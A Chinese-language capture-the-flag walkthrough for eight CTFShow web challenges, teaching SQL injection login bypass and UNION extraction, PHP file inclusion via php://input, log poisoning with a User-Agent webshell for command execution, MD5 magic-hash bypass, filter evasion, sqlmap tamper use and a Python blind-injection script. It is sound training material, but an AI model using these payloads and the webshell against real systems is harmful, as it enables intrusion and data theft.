CTFShow Web入门实战从签到题到SQL注入的8个经典靶场复现指南当你第一次接触CTF竞赛时Web安全题目往往是最容易上手的切入点。CTFShow平台提供了一系列精心设计的Web题目从最简单的签到题到需要复杂绕过的SQL注入形成了一个循序渐进的学习路径。本文将带你一步步复现8个经典靶场不仅告诉你怎么做更重要的是解释为什么这么做。1. 初识CTFShowWeb签到题web1任何CTF之旅都从签到题开始。web1作为最简单的入门题目主要考察基础的页面审查能力。打开题目页面后你会发现页面上似乎没有任何有用信息。解决步骤在浏览器中右键点击页面选择检查或直接按F12打开开发者工具切换到元素或Elements标签页仔细查看HTML源码特别是注释部分提示现代Web开发中开发者经常会在HTML中添加注释作为提示或调试信息在源码中你会发现类似这样的注释!-- flag is: ctfshow{19bdf375-f974-481e-8c62-0f4c3d170fb4} --这个题目教会我们永远先查看页面源码。很多初级题目都会把flag直接放在HTML注释中。2. 基础SQL注入实战web2web2题目引入了第一个真正的安全漏洞SQL注入。这是一个典型的登录绕过场景你需要不通过密码验证就能获取访问权限。2.1 理解漏洞原理SQL注入发生在应用程序将用户输入直接拼接到SQL查询中。例如$sql SELECT * FROM users WHERE username.$_POST[username]. AND password.$_POST[password].;当用户输入特殊构造的字符串时可以改变原始SQL的语义。2.2 构造注入payload尝试在用户名输入框中输入 or 11#这个payload的工作原理单引号闭合前面的字符串or 11使条件永远为真#注释掉后面的SQL语句关键点解析为什么使用#而不是--在MySQL中#是行注释而--需要后面跟一个空格11是布尔表达式永远返回true2.3 进阶信息获取登录后我们可以进一步获取数据库信息确定列数 or 11 order by 4# // 测试列数直到不报错获取数据库名 or 11 union select 1,database(),3#获取表名 or 11 union select 1,(select table_name from information_schema.tables where table_schemaweb2 limit 0,1),3#获取flag or 11 union select 1,(select flag from flag limit 0,1),3#3. 文件包含漏洞利用web3web3题目引入了文件包含漏洞这是PHP应用中常见的安全问题。3.1 理解文件包含PHP的include、require等函数如果使用用户可控的参数可能导致任意文件包含。题目中可能使用类似这样的代码include($_GET[file]);3.2 利用php://input协议尝试使用php伪协议读取输入?filephp://input然后在POST body中发送?php system(ls); ?为什么有效php://input允许读取原始的POST数据当被包含时POST数据会被当作PHP代码执行3.3 获取flag找到flag文件后可以直接读取?php echo file_get_contents(/path/to/flag); ?4. 日志文件包含与RCEweb4web4是web3的进阶版增加了过滤条件。我们需要利用服务器日志文件实现RCE。4.1 发现日志文件路径首先尝试访问常见的日志路径?url/var/log/nginx/access.log4.2 污染日志文件通过User-Agent注入PHP代码GET / HTTP/1.1 Host: target.com User-Agent: ?php system($_GET[cmd]);?4.3 执行系统命令包含被污染的日志文件后就可以执行任意命令?url/var/log/nginx/access.logcmdls5. 代码审计与MD5绕过web5web5需要审计给出的PHP代码找到逻辑漏洞。5.1 分析源代码关键代码片段if(!ctype_alpha($v1)){ die(v1 error); } if(!is_numeric($v2)){ die(v2 error); } if(md5($v1)md5($v2)){ echo $flag; }5.2 理解要求v1必须全是字母v2必须全是数字md5(v1)和md5(v2)必须相等5.3 利用PHP弱类型比较PHP的比较会进行类型转换。我们可以利用MD5哈希以0e开头的特殊值有效payload组合v1EEIZDOIv24011627063验证它们的MD5MD5(EEIZDOI) 0e782601363539291779881938479162 MD5(4011627063) 0e485805687034439905938362701775在PHP中这两个字符串都会被当作科学计数法的0因此相等。6. SQL注入空格绕过web6web6在web2的基础上增加了空格过滤我们需要找到替代方案。6.1 理解过滤机制题目可能使用类似这样的过滤$input str_replace( , , $input);6.2 使用注释替代空格在SQL中/**/可以作为空格的替代1/**/union/**/select/**/1,2,3#6.3 完整注入流程确定注入点1/**/or/**/11#获取数据库信息1/**/union/**/select/**/1,database(),3#获取flag1/**/union/**/select/**/1,flag,3/**/from/**/flag#7. 自动化工具sqlmap使用web7web7适合使用自动化工具sqlmap来完成这也是实际渗透测试中常用的方法。7.1 基本探测命令sqlmap -u http://target.com/?id1 --batch --dbs7.2 指定tamper脚本绕过过滤sqlmap -u http://target.com/?id1 --tamperspace2comment --batch -D web7 -T flag --dump常用tamper脚本space2comment用/**/替换空格between用BETWEEN替换大于号randomcase随机大小写7.3 获取flagsqlmap会自动识别注入点并获取flag这是效率最高的方法。8. 布尔盲注实战web8web8是最具挑战性的布尔盲注题目页面不会有直接的回显只能通过页面差异判断。8.1 理解盲注原理盲注时我们需要构造条件查询根据页面反应判断条件真假1 and (select ascii(substr(database(),1,1)))100#8.2 自动化脚本示例import requests url http://target.com/?id1 flag for i in range(1,50): low 32 high 126 while low high: mid (low high) // 2 payload f1 and (select ascii(substr((select flag from flag),{i},1))){mid}# r requests.get(url payload) if some condition in r.text: low mid 1 else: high mid - 1 flag chr(low) print(flag)8.3 优化技巧使用二分查找提高效率注意请求频率避免被封禁缓存已确定的结果节省时间